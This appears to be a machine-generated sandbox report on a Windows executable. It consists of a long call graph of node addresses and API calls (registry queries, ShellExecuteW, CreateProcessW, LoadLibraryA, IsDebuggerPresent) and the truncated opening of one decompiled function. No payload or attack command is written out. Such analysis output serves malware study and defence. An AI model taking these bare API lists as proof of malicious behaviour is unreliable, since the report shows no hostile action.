calls 50479->50480 50481 43528d 50480->50481 50482 4138ba _malloc 69 API calls 50481->50482 50483 43529d 50482->50483 50484 43522c 69 API calls 50483->50484 50485 4352bc 50483->50485 50486 4352c8 50484->50486 50485->49670 50486->49670 50488 44b17a 50487->50488 50494 44b0ca 50487->50494 50508 4351a6 50488->50508 50490 443236 82 API calls 50490->50494 50494->50488 50494->50490 50494->50494 50495 44b189 50494->50495 50504 4432cd 50494->50504 50512 44b03a 82 API calls 50494->50512 50495->49677 50497 435241 50496->50497 50498 43523b 50496->50498 50500 413a88 __woutput_l 69 API calls 50497->50500 50502 435254 50497->50502 50499 413a88 __woutput_l 69 API calls 50498->50499 50499->50497 50500->50502 50501 435267 50501->49683 50501->49684 50502->50501 50503 413a88 __woutput_l 69 API calls 50502->50503 50503->50501 50505 4432e3 50504->50505 50506 443341 50504->50506 50505->50494 50506->50505 50513 4351d9 50506->50513 50509 4351c8 50508->50509 50510 4351b5 50508->50510 50509->49677 50511 4146ce 100 API calls 50510->50511 50511->50509 50512->50494 50514 435204 50513->50514 50515 43521b 50513->50515 50516 4146ce 100 API calls 50514->50516 50515->50506 50516->50515 50517 429212 50522 410b90 50517->50522 50520 411421 __cinit 76 API calls 50521 42922f 50520->50521 50523 410b9a __write_nolock 50522->50523 50524 41171a 77 API calls 50523->50524 50525 410c31 GetModuleFileNameW 50524->50525 50526 413db0 __wsplitpath 69 API calls 50525->50526 50527 410c66 _wcsncat 50526->50527 50539 413e3c 50527->50539 50530 41171a 77 API calls 50531 410ca3 _wcscpy 50530->50531 50532 410cd1 RegOpenKeyExW 50531->50532 50533 429bc3 RegQueryValueExW 50532->50533 50534 410cf7 50532->50534 50535 429cd9 RegCloseKey 50533->50535 50537 429bf2 _wcscat _wcslen _wcsncpy 50533->50537 50534->50520 50536 41171a 77 API calls 50536->50537 50537->50536 50538 429cd8 50537->50538 50538->50535 50542 41abec 50539->50542 50543 41ac02 50542->50543 50544 41abfd 50542->50544 50551 417f23 69 API calls __getptd_noexit 50543->50551 50544->50543 50549 41ac22 50544->50549 50548 410c99 50548->50530 50549->50548 50553 417f23 69 API calls __getptd_noexit 50549->50553 50550 41ac07 50552 417ebb 7 API calls 2 library calls 50550->50552 50551->50550 50553->50550 50554 4011b0 50555 4011bc 50554->50555 50556 40110d 50554->50556 50559 45f48e 90 API calls _memset 50555->50559 50558 42e733 50558->50556 50559->50558 50560 416193 50597 41718c 50560->50597 50562 41619f GetStartupInfoW 50565 4161c2 50562->50565 50598 41aa31 HeapCreate 50565->50598 50566 416212 50600 416e29 GetModuleHandleW 50566->50600 50570 416223 __RTC_Initialize 50634 41b669 50570->50634 50573 416231 50574 41623d GetCommandLineW 50573->50574 50703 4117af 69 API calls 3 library calls 50573->50703 50649 42235f GetEnvironmentStringsW 50574->50649 50577 41623c 50577->50574 50578 41624c 50655 4222b1 GetModuleFileNameW 50578->50655 50580 416256 50581 416261 50580->50581 50704 4117af 69 API calls 3 library calls 50580->50704 50659 422082 50581->50659 50585 416272 50672 41186e 50585->50672 50588 416279 50590 416284 __wwincmdln 50588->50590 50706 4117af 69 API calls 3 library calls 50588->50706 50678 40d7f0 50590->50678 50593 4162b3 50708 411a4b 69 API calls _doexit 50593->50708 50596 4162b8 __wfsopen 50597->50562 50599 416206 50598->50599 50599->50566 50701 41616a 69 API calls 3 library calls 50599->50701 50601 416e44 50600->50601 50602 416e3d 50600->50602 50604 416fac 50601->50604 50605 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 50601->50605 50709 41177f Sleep GetModuleHandleW 50602->50709 50713 416ad5 72 API calls 2 library calls 50604->50713 50608 416e97 TlsAlloc 50605->50608 50607 416e43 50607->50601 50610 416218 50608->50610 50611 416ee5 TlsSetValue 50608->50611 50610->50570 50702 41616a 69 API calls 3 library calls 50610->50702 50611->50610 50612 416ef6 50611->50612 50710 411a69 7 API calls 4 library calls 50612->50710 50614 416efb 50615 41696e __encode_pointer 7 API calls 50614->50615 50616 416f06 50615->50616 50617 41696e __encode_pointer 7 API calls 50616->50617 50618 416f16 50617->50618 50619 41696e __encode_pointer 7 API calls 50618->50619 50620 416f26 50619->50620 50621 41696e __encode_pointer 7 API calls 50620->50621 50622 416f36 50621->50622 50711 41828b InitializeCriticalSectionAndSpinCount ___lock_fhandle 50622->50711 50624 416f43 50624->50604 50625 4169e9 __decode_pointer 7 API calls 50624->50625 50626 416f57 50625->50626 50626->50604 50627 416ffb __calloc_crt 69 API calls 50626->50627 50628 416f70 50627->50628 50628->50604 50629 4169e9 __decode_pointer 7 API calls 50628->50629 50630 416f8a 50629->50630 50630->50604 50631 416f91 50630->50631 50712 416b12 69 API calls 5 library calls 50631->50712 50633 416f99 GetCurrentThreadId 50633->50610 50714 41718c 50634->50714 50636 41b675 GetStartupInfoA 50637 416ffb __calloc_crt 69 API calls 50636->50637 50638 41b696 50637->50638 50639 41b8b4 __wfsopen 50638->50639 50642 416ffb __calloc_crt 69 API calls 50638->50642 50644 41b7fb 50638->50644 50645 41b77e 50638->50645 50639->50573 50640 41b831 GetStdHandle 50640->50644 50641 41b896 SetHandleCount 50641->50639 50642->50638 50643 41b843 GetFileType 50643->50644 50644->50639 50644->50640 50644->50641 50644->50643 50716 4189e6 InitializeCriticalSectionAndSpinCount __wfsopen 50644->50716 50645->50639 50645->50644 50646 41b7a7 GetFileType 50645->50646 50715 4189e6 InitializeCriticalSectionAndSpinCount __wfsopen 50645->50715 50646->50645 50650 422370 50649->50650 50651 422374 50649->50651 50650->50578 50652 416fb6 __malloc_crt 69 API calls 50651->50652 50653 422395 _memcpy_s 50652->50653 50654 42239c FreeEnvironmentStringsW 50653->50654 50654->50578 50657 4222e6 _wparse_cmdline 50655->50657 50656 422329 _wparse_cmdline 50656->50580 50657->50656 50658 416fb6 __malloc_crt 69 API calls 50657->50658 50658->50656 50660 42209a _wcslen 50659->50660 50664 416267 50659->50664 50661 416ffb __calloc_crt 69 API calls 50660->50661 50669 4220be _wcslen 50661->50669 50662 422123 50663 413a88 __woutput_l 69 API calls 50662->50663 50663->50664 50664->50585 50705 4117af 69 API calls 3 library calls 50664->50705 50665 416ffb __calloc_crt 69 API calls 50665->50669 50666 422149 50667 413a88 __woutput_l 69 API calls 50666->50667 50667->50664 50669->50662 50669->50664 50669->50665 50669->50666 50670 422108 50669->50670 50717 426349 69 API calls 2 library calls 50669->50717 50670->50669 50718 417d93 10 API calls 3 library calls 50670->50718 50673 41187c __IsNonwritableInCurrentImage 50672->50673 50719 418486 50673->50719 50675 41189a __initterm_e 50676 411421 __cinit 76 API calls 50675->50676 50677 4118b9 __IsNonwritableInCurrentImage __initterm 50675->50677 50676->50677 50677->50588 50679 431bcb 50678->50679 50680 40d80c 50678->50680 50681 4092c0 VariantClear 50680->50681 50682 40d847 50681->50682 50723 40eb50 50682->50723 50685 40d877 50726 411ac6 50685->50726 50690 40d891 50736 40f370 SystemParametersInfoW SystemParametersInfoW 50690->50736 50692 40d89f 50737 40d6d0 GetCurrentDirectoryW 50692->50737 50694 40d8a7 SystemParametersInfoW 50695 40d8d4 50694->50695 50696 40d8cd FreeLibrary 50694->50696 50697 4092c0 VariantClear 50695->50697 50696->50695 50698 40d8dd 50697->50698 50699 4092c0 VariantClear 50698->50699 50700 40d8e6 50699->50700 50700->50593 50707 411a1f 69 API calls _doexit 50700->50707 50701->50566 50702->50570 50703->50577 50704->50581 50705->50585 50706->50590 50707->50593 50708->50596 50709->50607 50710->50614 50711->50624 50712->50633 50713->50610 50714->50636 50715->50645 50716->50644 50717->50669 50718->50670 50720 41848c 50719->50720 50721 41696e __encode_pointer 7 API calls 50720->50721 50722 4184a4 50720->50722 50721->50720 50722->50675 50775 40eb70 50723->50775 50727 418407 __lock 69 API calls 50726->50727 50728 411ad3 50727->50728 50729 4169e9 __decode_pointer 7 API calls 50728->50729 50730 411ade 50729->50730 50731 41696e __encode_pointer 7 API calls 50730->50731 50732 411ae8 50731->50732 50779 41832d RtlLeaveCriticalSection 50732->50779 50734 40d888 50735 411b24 69 API calls 2 library calls 50734->50735 50735->50690 50736->50692 50780 401f80 50737->50780 50739 40d6f1 IsDebuggerPresent 50740 431a9d MessageBoxA 50739->50740 50741 40d6ff 50739->50741 50742 431ab6 50740->50742 50741->50742 50743 40d71f 50741->50743 50871 403e90 77 API calls 3 library calls 50742->50871 50850 40f3b0 50743->50850 50747 40d73a GetFullPathNameW 50868 401440 123 API calls _wcscat 50747->50868 50749 40d77a 50750 40d782 50749->50750 50752 431b09 SetCurrentDirectoryW 50749->50752 50751 40d78b 50750->50751 50872 43604b 6 API calls 50750->50872 50860 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 50751->50860 50752->50750 50755 431b28 50755->50751 50757 431b30 GetModuleFileNameW 50755->50757 50759 431ba4 GetForegroundWindow ShellExecuteW 50757->50759 50760 431b4c 50757->50760 50763 40d7c7 50759->50763 50873 401b70 50760->50873 50761 40d795 50769 40d7a8 50761->50769 50869 40e1e0 99 API calls _memset 50761->50869 50766 40d7d1 SetCurrentDirectoryW 50763->50766 50766->50694 50768 431b66 50880 40d330 77 API calls 2 library calls 50768->50880 50769->50763 50870 401000 Shell_NotifyIconW _memset 50769->50870 50772 431b72 GetForegroundWindow ShellExecuteW 50773 431b9f 50772->50773 50773->50763 50774 40eba0 LoadLibraryA GetProcAddress 50774->50685 50776 40d86e 50775->50776 50777 40eb76 LoadLibraryA 50775->50777 50776->50685 50776->50774 50777->50776 50778 40eb87 GetProcAddress 50777->50778 50778->50776 50779->50734 50881 40e680 50780->50881 50784 401fa2 GetModuleFileNameW 50899 40ff90 50784->50899 50786 401fbd 50911 4107b0 50786->50911 50789 401b70 77 API calls 50790 401fe4 50789->50790 50914 4019e0 50790->50914 50792 401ff2 50793 4092c0 VariantClear 50792->50793 50794 402002 50793->50794 50795 401b70 77 API calls 50794->50795 50796 40201c 50795->50796 50797 4019e0 78 API calls 50796->50797 50798 40202c 50797->50798 50799 401b70 77 API calls 50798->50799 50800 40203c 50799->50800 50922 40c3e0 50800->50922 50802 40204d 50803 40c060 77 API calls 50802->50803 50804 402061 50803->50804 50940 401a70 50804->50940 50806 40206e 50947 4115d0 50806->50947 50809 42c174 50811 401a70 77 API calls 50809->50811 50810 402088 50812 4115d0 __wcsicoll 81 API calls 50810->50812 50813 42c189 50811->50813 50814 402093 50812->50814 50816 401a70 77 API calls 50813->50816 50814->50813 50815 40209e 50814->50815 50817 4115d0 __wcsicoll 81 API calls 50815->50817 50818 42c1a7 50816->50818 50819 4020a9 50817->50819 50820 42c1b0 GetModuleFileNameW 50818->50820 50819->50820 50821 4020b4 50819->50821 50823 401a70 77 API calls 50820->50823 50822 4115d0 __wcsicoll 81 API calls 50821->50822 50824 4020bf 50822->50824 50825 42c1e2 50823->50825 50826 402107 50824->50826 50829 42c20a _wcscpy 50824->50829 50832 401a70 77 API calls 50824->50832 50959 40df50 77 API calls 50825->50959 50828 402119 50826->50828 50826->50829 50831 42c243 50828->50831 50955 40e7e0 78 API calls 50828->50955 50837 401a70 77 API calls 50829->50837 50830 42c1f1 50833 401a70 77 API calls 50830->50833 50835 4020e5 _wcscpy 50832->50835 50836 42c201 50833->50836 50841 401a70 77 API calls 50835->50841 50836->50829 50845 402148 50837->50845 50838 402132 50956 40d030 78 API calls 50838->50956 50840 40213e 50842 4092c0 VariantClear 50840->50842 50841->50826 50842->50845 50843 402184 50847 4092c0 VariantClear 50843->50847 50845->50843 50848 401a70 77 API calls 50845->50848 50957 40d030 78 API calls 50845->50957 50958 40e640 78 API calls 50845->50958 50849 402196 ctype 50847->50849 50848->50845 50849->50739 50853 40f3c9 _memset 50850->50853 50852 40f3d2 51100 410130 SHGetMalloc 50852->51100 50857 40d732 50853->50857 51099 40ffb0 78 API calls ctype 50853->51099 50855 40f3d9 51105 410020 90 API calls __wcsicoll 50855->51105 50857->50747 50857->50749 50858 40f3e7 51106 40f400 50858->51106 50861 42b9d3 50860->50861 50862 41025a LoadImageW RegisterClassExW 50860->50862 51149 443e8f EnumResourceNamesW LoadImageW 50861->51149 51145 4102f0 GetSysColorBrush RegisterClassExW RegisterClipboardFormatW 50862->51145 50866 42b9da 50867 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 50867->50761 50868->50749 50869->50769 50870->50763 50871->50749 50872->50755 50874 401b76 _wcslen 50873->50874 50875 41171a 77 API calls 50874->50875 50878 401bc5 50874->50878 50876 401bad _memcpy_s 50875->50876 50877 41171a 77 API calls 50876->50877 50877->50878 50879 40d330 77 API calls 2 library calls 50878->50879 50879->50768 50880->50772 50882 40c060 77 API calls 50881->50882 50883 401f90 50882->50883 50884 402940 50883->50884 50885 40294a __write_nolock 50884->50885 50886 4021e0 77 API calls 50885->50886 50888 402972 50886->50888 50898 4029a4 50888->50898 50960 401be0 50888->50960 50889 402ae0 77 API calls 50889->50898 50890 402a8c 50891 401b70 77 API calls 50890->50891 50897 402abe 50890->50897 50893 402ab3 50891->50893 50892 401b70 77 API calls 50892->50898 50964 40d970 77 API calls 2 library calls 50893->50964 50894 401be0 77 API calls 50894->50898 50897->50784 50898->50889 50898->50890 50898->50892 50898->50894 50963 40d970 77 API calls 2 library calls 50898->50963 50965 40f5e0 50899->50965 50901 40ffa6 50901->50786 50904 42b6d8 50905 42b6e6 50904->50905 51021 434fe1 50904->51021 50906 413a88 __woutput_l 69 API calls 50905->50906 50908 42b6f5 50906->50908 50909 434fe1 103 API calls 50908->50909 50910 42b702 50909->50910 50910->50786 50912 41171a 77 API calls 50911->50912 50913 401fd6 50912->50913 50913->50789 50915 401a03 50914->50915 50920 4019e5 50914->50920 50916 401a1a 50915->50916 50915->50920 51084 404260 78 API calls 50916->51084 50918 4019ff 50918->50792 50919 401a26 50919->50792 50920->50918 51083 404260 78 API calls 50920->51083 50923 40c3e4 50922->50923 50924 40c42c 50922->50924 50927 40c3f0 50923->50927 50928 42a475 50923->50928 50925 42a422 50924->50925 50926 40c435 50924->50926 50929 42a427 50925->50929 50930 42a445 50925->50930 50931 40c441 50926->50931 50932 42a455 50926->50932 51085 4042f0 50927->51085 51094 453155 77 API calls 50928->51094 50938 40c3fb 50929->50938 51091 453155 77 API calls 50929->51091 51092 453155 77 API calls 50930->51092 50935 4042f0 77 API calls 50931->50935 51093 453155 77 API calls 50932->51093 50935->50938 50938->50802 50941 401a90 50940->50941 50942 401a77 50940->50942 50944 4021e0 77 API calls 50941->50944 50943 401a8d 50942->50943 51095 404080 77 API calls _memcpy_s 50942->51095 50943->50806 50946 401a9c 50944->50946 50946->50806 50948 4115e1 50947->50948 50949 411650 50947->50949 50954 40207d 50948->50954 51096 417f23 69 API calls __getptd_noexit 50948->51096 51098 4114bf 81 API calls 4 library calls 50949->51098 50952 4115ed 51097 417ebb 7 API calls 2 library calls 50952->51097 50954->50809 50954->50810 50955->50838 50956->50840 50957->50845 50958->50845 50959->50830 50961 402ae0 77 API calls 50960->50961 50962 401be7 50961->50962 50962->50888 50963->50898 50964->50897 51025 40f580 50965->51025 50967 40f5f8 _strcat ctype 51031 40f6d0 50967->51031 50970 414e06 134 API calls 50971 40f666 50970->50971 50972 42b2ee 50971->50972 51035 40f450 50971->51035 50975 4151b0 __fread_nolock 82 API calls 50972->50975 50974 40f679 50974->50972 50976 40f681 50974->50976 50977 42b309 50975->50977 50978 414e94 __fcloseall 103 API calls 50976->50978 51044 44afdc 50977->51044 50980 40f68b 50978->50980 50980->50901 50984 452574 50980->50984 50981 42b31d 51047 415484 50981->51047 50983 42b33d 50985 41557c _fseek 102 API calls 50984->50985 50986 4525df 50985->50986 50987 4523ce 110 API calls 50986->50987 50988 4525f8 50987->50988 50989 4525fc 50988->50989 50990 4151b0 __fread_nolock 82 API calls 50988->50990 50989->50904 50991 45261d 50990->50991 50992 4151b0 __fread_nolock 82 API calls 50991->50992 50993 45262e 50992->50993 50994 4151b0 __fread_nolock 82 API calls 50993->50994 50995 452649 50994->50995 50996 4151b0 __fread_nolock 82 API calls 50995->50996 50997 452666 50996->50997 50998 41557c _fseek 102 API calls 50997->50998 50999 452682 50998->50999 51000 4138ba _malloc 69 API calls 50999->51000 51001 45268e 51000->51001 51002 4138ba _malloc 69 API calls 51001->51002 51003 45269b 51002->51003 51004 4151b0 __fread_nolock 82 API calls 51003->51004 51005 4526ac 51004->51005 51006 44afdc GetSystemTimeAsFileTime 51005->51006 51007 4526bf 51006->51007 51008 4526d5 51007->51008 51009 4526fd 51007->51009 51010 413a88 __woutput_l 69 API calls 51008->51010 51011 452704 51009->51011 51012 45275b 51009->51012 51014 4526df 51010->51014 51015 44b195 135 API calls 51011->51015 51013 413a88 __woutput_l 69 API calls 51012->51013 51016 452759 51013->51016 51017 413a88 __woutput_l 69 API calls 51014->51017 51018 452753 51015->51018 51016->50904 51019 4526e8 51017->51019 51020 413a88 __woutput_l 69 API calls 51018->51020 51019->50904 51020->51016 51022 434ff1 51021->51022 51023 434feb 51021->51023 51022->50905 51024 414e94 __fcloseall 103 API calls 51023->51024 51024->51022 51026 429440 51025->51026 51027 40f589 _wcslen 51025->51027 51028 40f5d8 51027->51028 51029 41171a 77 API calls 51027->51029 51028->50967 51030 40f5bb 51029->51030 51030->50967 51032 40f6dd _strlen 51031->51032 51060 40f790 51032->51060 51036 40f45a _strcat _memcpy_s __write_nolock 51035->51036 51037 4151b0 __fread_nolock 82 API calls 51036->51037 51038 40f531 51036->51038 51039 41557c _fseek 102 API calls 51036->51039 51040 42936d 51036->51040 51037->51036 51038->50974 51039->51036 51041 41557c _fseek 102 API calls 51040->51041 51042 429394 51041->51042 51043 4151b0 __fread_nolock 82 API calls 51042->51043 51043->51038 51045 4431e0 GetSystemTimeAsFileTime 51044->51045 51046 44affd 51045->51046 51046->50981 51048 415490 __wfsopen 51047->51048 51049 4154bb 51048->51049 51050 41549e 51048->51050 51051 415965 __lock_file 70 API calls 51049->51051 51080 417f23 69 API calls __getptd_noexit 51050->51080 51053 4154c3 51051->51053 51056 4152e7 __ftell_nolock 73 API calls 51053->51056 51054 4154a3 51081 417ebb 7 API calls 2 library calls 51054->51081 51057 4154cf 51056->51057 51082 4154e8 RtlLeaveCriticalSection RtlLeaveCriticalSection _fprintf 51057->51082 51059 4154b3 __wfsopen 51059->50983 51063 40f7ae _memset 51060->51063 51061 42a349 51063->51061 51064 40f628 51063->51064 51065 415258 51063->51065 51064->50970 51066 415285 51065->51066 51067 415268 51065->51067 51066->51067 51069 41528c 51066->51069 51076 417f23 69 API calls __getptd_noexit 51067->51076 51078 41c551 99 API calls 13 library calls 51069->51078 51070 41526d 51077 417ebb 7 API calls 2 library calls 51070->51077 51073 4152b2 51074 41527d 51073->51074 51079 4191c9 98 API calls 6 library calls 51073->51079 51074->51063 51076->51070 51078->51073 51079->51074 51080->51054 51082->51059 51083->50918 51084->50919 51086 404304 51085->51086 51090 40431c 51085->51090 51087 40c060 77 API calls 51086->51087 51086->51090 51088 404561 51087->51088 51089 411421 __cinit 76 API calls 51088->51089 51089->51090 51090->50938 51091->50938 51092->50932 51093->50938 51094->50938 51095->50943 51096->50952 51098->50954 51099->50852 51101 410148 SHGetDesktopFolder 51100->51101 51104 4101a3 _wcscpy 51100->51104 51102 41015a _wcscpy 51101->51102 51101->51104 51103 41018a SHGetPathFromIDListW 51102->51103 51102->51104 51103->51104 51104->50855 51105->50858 51107 40f5e0 145 API calls 51106->51107 51108 40f417 51107->51108 51109 42ca37 51108->51109 51110 40f42c 51108->51110 51111 42ca1f 51108->51111 51112 452574 136 API calls 51109->51112 51137 4037e0 131 API calls 7 library calls 51110->51137 51138 43717f 106 API calls _printf 51111->51138 51115 42ca50 51112->51115 51118 42ca76 51115->51118 51119 42ca54 51115->51119 51116 40f446 51116->50857 51117 42ca2d 51117->51109 51120 41171a 77 API calls 51118->51120 51121 434fe1 103 API calls 51119->51121 51136 42cacc ctype 51120->51136 51122 42ca5e 51121->51122 51139 43717f 106 API calls _printf 51122->51139 51124 42ccc3 51126 413a88 __woutput_l 69 API calls 51124->51126 51125 42ca6c 51125->51118 51127 42cccd 51126->51127 51128 434fe1 103 API calls 51127->51128 51129 42ccda 51128->51129 51133 401b70 77 API calls 51133->51136 51136->51124 51136->51133 51140 445051 77 API calls _memcpy_s 51136->51140 51141 44c80c 89 API calls 3 library calls 51136->51141 51142 44b408 77 API calls 51136->51142 51143 402cc0 77 API calls 2 library calls 51136->51143 51144 4026a0 77 API calls ctype 51136->51144 51137->51116 51138->51117 51139->51125 51140->51136 51141->51136 51142->51136 51143->51136 51144->51136 51146 410390 LoadIconW 51145->51146 51148 40d790 51146->51148 51148->50867 51149->50866 51150 431914 51151 431920 51150->51151 51152 431928 51151->51152 51153 43193d 51151->51153 51223 45e62e 112 API calls 3 library calls 51152->51223 51224 47f2b4 166 API calls 51153->51224 51156 43194a 51162 4095b0 ctype 51156->51162 51225 45e62e 112 API calls 3 library calls 51156->51225 51157 409708 51160 4097af 51160->51157 51210 40d590 VariantClear 51160->51210 51161 4315b8 WaitForSingleObject 51161->51162 51165 4315d6 GetExitCodeProcess CloseHandle 51161->51165 51162->51157 51162->51160 51162->51161 51164 431623 Sleep 51162->51164 51170 40986e Sleep 51162->51170 51173 4098f1 TranslateMessage DispatchMessageW 51162->51173 51176 431547 51162->51176 51182 46dd22 116 API calls 51162->51182 51187 45e62e 112 API calls 51162->51187 51189 40d590 VariantClear 51162->51189 51193 4319c9 VariantClear 51162->51193 51195 4092c0 VariantClear 51162->51195 51197 40d280 51162->51197 51202 40d2a0 51162->51202 51208 40b380 115 API calls ctype 51162->51208 51209 409a40 153 API calls 4 library calls 51162->51209 51211 409340 166 API calls ctype 51162->51211 51212 409030 113 API calls ctype 51162->51212 51226 40e380 VariantClear ctype 51162->51226 51169 43163b timeGetTime 51164->51169 51164->51176 51216 40d590 VariantClear 51165->51216 51169->51176 51170->51162 51174 409880 timeGetTime 51170->51174 51173->51162 51174->51162 51175 431673 CloseHandle 51175->51176 51176->51162 51176->51175 51178 43170c GetExitCodeProcess CloseHandle 51176->51178 51179 46e641 117 API calls 51176->51179 51184 431781 Sleep 51176->51184 51194 4092c0 VariantClear 51176->51194 51213 447e59 77 API calls 51176->51213 51214 453b07 79 API calls 51176->51214 51215 4646a2 78 API calls 51176->51215 51217 40d590 VariantClear 51176->51217 51218 444233 90 API calls _wcslen 51176->51218 51219 457509 VariantClear 51176->51219 51220 404120 VariantClear 51176->51220 51221 4717e3 VariantClear 51176->51221 51222 436272 6 API calls 51176->51222 51178->51176 51179->51176 51182->51162 51184->51162 51187->51162 51189->51162 51193->51162 51194->51176 51195->51162 51198 4292e3 51197->51198 51199 40d28c 51197->51199 51200 429323 51198->51200 51201 4292fd TranslateAcceleratorW 51198->51201 51199->51162 51200->51162 51201->51199 51203 4296d0 51202->51203 51204 40d2af 51202->51204 51203->51162 51205 42972a IsDialogMessageW 51204->51205 51206 40d2bc 51204->51206 51227 4340ec GetClassLongW 51204->51227 51205->51204 51205->51206 51206->51162 51208->51162 51209->51162 51210->51157 51211->51162 51212->51162 51213->51176 51214->51176 51215->51176 51216->51176 51217->51176 51218->51176 51219->51176 51220->51184 51221->51176 51222->51176 51223->51162 51224->51156 51225->51162 51226->51162 51227->51204 51228 42919b 51233 40ef10 51228->51233 51231 411421 __cinit 76 API calls 51232 4291aa 51231->51232 51234 41171a 77 API calls 51233->51234 51235 40ef17 51234->51235 51236 42ad48 51235->51236 51241 40ef40 76 API calls __cinit 51235->51241 51238 40ef2a 51242 40e470 51238->51242 51241->51238 51243 40c060 77 API calls 51242->51243 51244 40e483 GetVersionExW 51243->51244 51245 4021e0 77 API calls 51244->51245 51246 40e4bb 51245->51246 51268 40e600 51246->51268 51252 42accc 51254 42ad28 GetSystemInfo 51252->51254 51258 42ad38 GetSystemInfo 51254->51258 51255 40e557 GetCurrentProcess 51288 40ee30 LoadLibraryA GetProcAddress 51255->51288 51256 40e56c 51256->51258 51281 40eee0 51256->51281 51261 40e5c9 51285 40eea0 51261->51285 51264 40e5e0 51266 40e5f1 FreeLibrary 51264->51266 51267 40e5f4 51264->51267 51265 40e5dd FreeLibrary 51265->51264 51266->51267 51267->51231 51269 40e60b 51268->51269 51270 40c740 77 API calls 51269->51270 51271 40e4c2 51270->51271 51272 40e620 51271->51272 51273 40e62a 51272->51273 51274 42ac93 51273->51274 51275 40c740 77 API calls 51273->51275 51276 40e4ce 51275->51276 51276->51252 51277 40ee70 51276->51277 51278 40e551 51277->51278 51279 40ee76 LoadLibraryA 51277->51279 51278->51255 51278->51256 51279->51278 51280 40ee87 GetProcAddress 51279->51280 51280->51278 51282 40e5bf 51281->51282 51283 40eee6 LoadLibraryA 51281->51283 51282->51254 51282->51261 51283->51282 51284 40eef7 GetProcAddress 51283->51284 51284->51282 51289 40eec0 LoadLibraryA GetProcAddress 51285->51289 51287 40e5d3 GetNativeSystemInfo 51287->51264 51287->51265 51288->51256 51289->51287 51290 4291df 51295 40ddd0 51290->51295 51293 411421 __cinit 76 API calls 51294 4291ee 51293->51294 51296 40c060 77 API calls 51295->51296 51297 40de43 51296->51297 51302 40f0d0 51297->51302 51300 40dee0 51301 40df04 51300->51301 51305 40dd50 51300->51305 51301->51293 51311 40f110 RegOpenKeyExW 51302->51311 51306 40dd81 51305->51306 51310 40dd58 _memcpy_s ctype 51305->51310 51308 41171a 77 API calls 51306->51308 51307 41171a 77 API calls 51309 40dd5f 51307->51309 51308->51310 51309->51300 51310->51307 51312 40f13c RegQueryValueExW RegCloseKey 51311->51312 51313 40f0ee 51311->51313 51312->51313 51313->51300 51314 463f19 51315 463f3a _memset 51314->51315 51316 463fc4 51315->51316 51317 463f7a 51315->51317 51319 40c760 80 API calls 51316->51319 51326 463fad 51316->51326 51318 40c760 80 API calls 51317->51318 51321 463f85 51318->51321 51322 463fd5 51319->51322 51320 464002 51402 453081 51320->51402 51324 40c760 80 API calls 51321->51324 51321->51326 51327 40c760 80 API calls 51322->51327 51323 40c760 80 API calls 51323->51320 51328 463f9a 51324->51328 51326->51320 51326->51323 51327->51326 51330 40c760 80 API calls 51328->51330 51329 464025 51408 40fff0 51329->51408 51330->51326 51332 46402c 51333 464176 51332->51333 51334 464035 51332->51334 51335 4641aa GetCurrentDirectoryW 51333->51335 51338 453081 107 API calls 51333->51338 51336 453081 107 API calls 51334->51336 51337 41171a 77 API calls 51335->51337 51339 464045 51336->51339 51340 4641d1 GetCurrentDirectoryW 51337->51340 51341 46418c 51338->51341 51342 40fff0 77 API calls 51339->51342 51347 464103 51340->51347 51343 40fff0 77 API calls 51341->51343 51344 46404c 51342->51344 51345 464193 _wcslen 51343->51345 51346 453081 107 API calls 51344->51346 51345->51335 51345->51347 51348 46405c 51346->51348 51372 464163 51347->51372 51415 443b47 8 API calls 51347->51415 51349 40fff0 77 API calls 51348->51349 51350 464063 51349->51350 51351 453081 107 API calls 51350->51351 51353 464073 51351->51353 51357 40fff0 77 API calls 51353->51357 51354 4642a7 CreateProcessW 51362 464227 _wcslen ctype 51354->51362 51355 4641fd 51418 4464dc 149 API calls 51355->51418 51356 46412d 51416 443b14 8 API calls 51356->51416 51360 46407a 51357->51360 51361 4640ac GetSystemDirectoryW 51360->51361 51364 453081 107 API calls 51360->51364 51365 41171a 77 API calls 51361->51365 51370 464341 CloseHandle 51362->51370 51371 4642ef 51362->51371 51363 464148 51417 443aff 8 API calls 51363->51417 51368 464090 51364->51368 51366 4640d3 GetSystemDirectoryW 51365->51366 51369 4640de 51366->51369 51373 40fff0 77 API calls 51368->51373 51412 40e6d0 78 API calls 51369->51412 51376 464385 51370->51376 51377 464355 51370->51377 51381 464302 GetLastError 51371->51381 51372->51354 51372->51355 51375 464097 _wcslen 51373->51375 51375->51361 51375->51369 51379 4643ad 51376->51379 51380 46438b 51376->51380 51421 443a7f CloseHandle 51377->51421 51378 4640ed 51413 40e6d0 78 API calls 51378->51413 51391 4092c0 VariantClear 51379->51391 51424 44b87e CloseHandle 51380->51424 51419 404120 VariantClear 51381->51419 51383 46435f 51422 44b7ca 83 API calls 51383->51422 51388 4640f8 51414 40e6d0 78 API calls 51388->51414 51389 4643a2 51390 464317 51394 4092c0 VariantClear 51390->51394 51395 4643cb CloseHandle 51391->51395 51392 464371 51423 44a4e6 80 API calls 51392->51423 51397 46431f 51394->51397 51425 44b87e CloseHandle 51395->51425 51420 44b87e CloseHandle 51397->51420 51400 4643e9 51401 464336 51403 45308c 51402->51403 51404 4530aa 51402->51404 51405 4530a1 51403->51405 51426 452e2a 107 API calls 5 library calls 51403->51426 51404->51329 51405->51329 51407 453098 51407->51329 51409 40fff7 _wcslen 51408->51409 51410 41171a 77 API calls 51409->51410 51411 41000e _wcscpy 51410->51411 51411->51332 51412->51378 51413->51388 51414->51347 51415->51356 51416->51363 51417->51372 51418->51362 51419->51390 51420->51401 51421->51383 51422->51392 51423->51376 51424->51389 51425->51400 51426->51407

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 98%
                                                                                                                                                                            			E0040D6D0(short* __eax, void* __ecx, void* __edx, void* __ebp, void* __eflags, void* __fp0) {
				short _v536;
				void* _v540;
				short _v1060;
				short _v1064;
				void* _v1068;
				char _v1081;
				void* _v1084;
				void* _v1085;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t23;
				int _t29;
				char _t30;
				intOrPtr _t55;
				void* _t58;
				intOrPtr _t60;
				void* _t68;
				void* _t78;
				void* _t79;

				_t88 = __fp0;
				_t79 = __eflags;
				_t68 = __edx;
